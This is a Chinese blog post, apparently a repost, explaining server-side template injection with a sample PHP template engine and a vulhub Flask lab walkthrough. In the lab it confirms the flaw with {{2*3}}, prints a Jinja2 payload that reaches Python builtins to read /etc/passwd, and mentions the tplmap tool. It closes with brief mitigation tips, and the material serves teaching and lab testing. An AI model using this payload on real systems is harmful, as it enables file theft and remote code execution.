标签:plm 代码执行 reg art hello 远程代码执行 python 目录 很多
百度百科:模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
个人理解就是:一个html页面中没有实际内容,但是有变量,访问这个页面时需要将这个变量转换成预期的内容,这时候就需要用到模板引擎。php(或者其他脚本语言)代码通过访问模板引擎,模板引擎通过正则匹配产生一个新的缓存的html页面,从而实现php和html代码的分离。
从网上找了个小例子帮助我们更好的理解SST的作用,大波code来袭:
<?php //两个参数 1,html 模板; 2,需要修改的参数 function display($tplFile, $tplVars = null) { $tplFilePath = rtrim(TPL_PATH,‘/‘) . ‘/‘ . $tplFile; if (!file_exists($tplFilePath)) { exit(‘模版文件不存在‘); } $html = compile($tplFilePath); $cacheFileName = parsePath($tplFile); if (!check_cache_dir(TPL_CACHE)) { exit(‘缓存目录不可写‘); } if (!file_put_contents($cacheFileName, $html)) { exit(‘缓存文件写入失败‘); } if (is_array($tplVars)) { extract($tplVars); include $cacheFileName; } } function check_cache_dir($path) { if(!file_exists($path) || !is_dir($path)) { return mkdir($path,0755,true); } if(!is_writeable($path) || !is_readable($path)) { return chmod($path,0755); } return true; } function parsePath($tplFile) { $path = rtrim(TPL_CACHE,‘/‘).‘/‘.str_replace(‘.‘,‘_‘,$tplFile).‘.php‘; return $path; } function compile($path) { $keys = [ ‘{if %%}‘ => ‘<?php if(\1): ?>‘, ‘{else}‘ => ‘<?php else : ?>‘, ‘{else if %%}‘ => ‘<?php elseif(\1) : ?>‘, ‘{elseif %%}‘ => ‘<?php elseif(\1) : ?>‘, ‘{/if}‘ => ‘<?php endif;?>‘, ‘{$%%}‘ => ‘<?=$\1;?>‘, ‘{foreach %%} ‘ => ‘<?php foreach(\1) :?>‘, ‘{/foreach}‘ => ‘<?php endforeach;?>‘, ‘{for %%}‘ => ‘<?php for(\1):?>‘, ‘{/for}‘ => ‘<?php endfor;?>‘, ‘{while %%}‘ => ‘<?php while(\1):?>‘, ‘{/while}‘ => ‘<?php endwhile;?>‘, ‘{continue}‘ => ‘<?php continue;?>‘, ‘{break}‘ => ‘<?php break;?>‘, ‘{$%% = $%%}‘ => ‘<?php $\1 = $\2;?>‘, ‘{$%%++}‘ => ‘<?php $\1++;?>‘, ‘{$%%--}‘ => ‘<?php $\1--;?>‘, ‘{comment}‘ => ‘<?php /* ‘, ‘{/comment}‘ => ‘*/?>‘, ‘{/*}‘ => ‘<?php /* ‘, ‘{*/}‘ => ‘*?>‘, ‘{section}‘ => ‘<?php ‘, ‘{/section}‘ => ‘?>‘, ‘{include %%}‘ => ‘<?php include \1;?>‘, ]; $file = file_get_contents($path); foreach ($keys as $key => $val) { $pattern = ‘#‘. str_replace(‘%%‘, ‘(.+)‘, preg_quote($key,‘#‘)) .‘#imsU‘; $replace = $val; if (stripos($pattern,‘include‘)) { $file = preg_replace_callback($pattern, ‘parseInclude‘, $file); } else{ $file = preg_replace($pattern, $replace, $file); } } return $file; } function parseInclude($data) { $path = str_replace(array(‘\‘‘,‘"‘),‘‘,$data[1]); //data[1]就是-------footer.html $cacheFileName = parsePath($path); display($path); return ‘<?php include "‘.$cacheFileName.‘";?>‘; }
<?php define(‘TPL_CACHE‘,‘./cache/‘); define(‘TPL_PATH‘,‘./views/‘); #### test.php <?php include ‘config.php‘; include ‘tpl.func.php‘; $title = ‘圈子社区‘; $content = ‘圈子社区!圈子社区!‘; display(‘moban.html‘,compact(‘title‘,‘content‘,‘footercontent‘));
<html> <head> <title>{$title}</title> </head> <body> {$content} <br /> <hr /> </body> </html>
如果在一个页面中php代码与html代码混合在一起,在很多时候都会造成不便,用模板引擎可以让php代码和html代码进行分离。
还是道哥的那句话,安全的本质是信任。SST信任了用户的输入,并且执行这些内容,包括执行本机函数。就像eval函数对传入的内容未加任何过滤一样。因此模板注入(SSTI)很容易导致远程代码执行(RCE)、信息泄露等漏洞。
本来准备找CTF题的,但是一直没找到,如果有师傅找到源码,望分享!
这里就用vuhub的ssti测试一下
访问页面是hello guest
因为看过app.py的源码,所以直接在后面加参数?name=123,显示hello 123
说明这里的name我们是被信任的(当它什么都没过滤),猜测存在ssti。
接着再输入一个表达式{{2*3}}
显示hello 6,验证了存在ssti。
payload
python3 :读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].open(‘/etc/passwd‘, ‘r‘).read() }}{% endif %}{% endfor %}
也可以用工具tplmap,挺好用
https://github.com/epinna/tplmap
1.尽可能加载静态模板文件。
2.不要允许用户控制此类文件或其内容的路径。
https://xi4or0uji.github.io/2019/01/17/2019-1-15-flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/
https://blog.csdn.net/qq_40657585/article/details/83657220
标签:plm 代码执行 reg art hello 远程代码执行 python 目录 很多
原文地址:https://www.cnblogs.com/gzs-monkey/p/10727330.html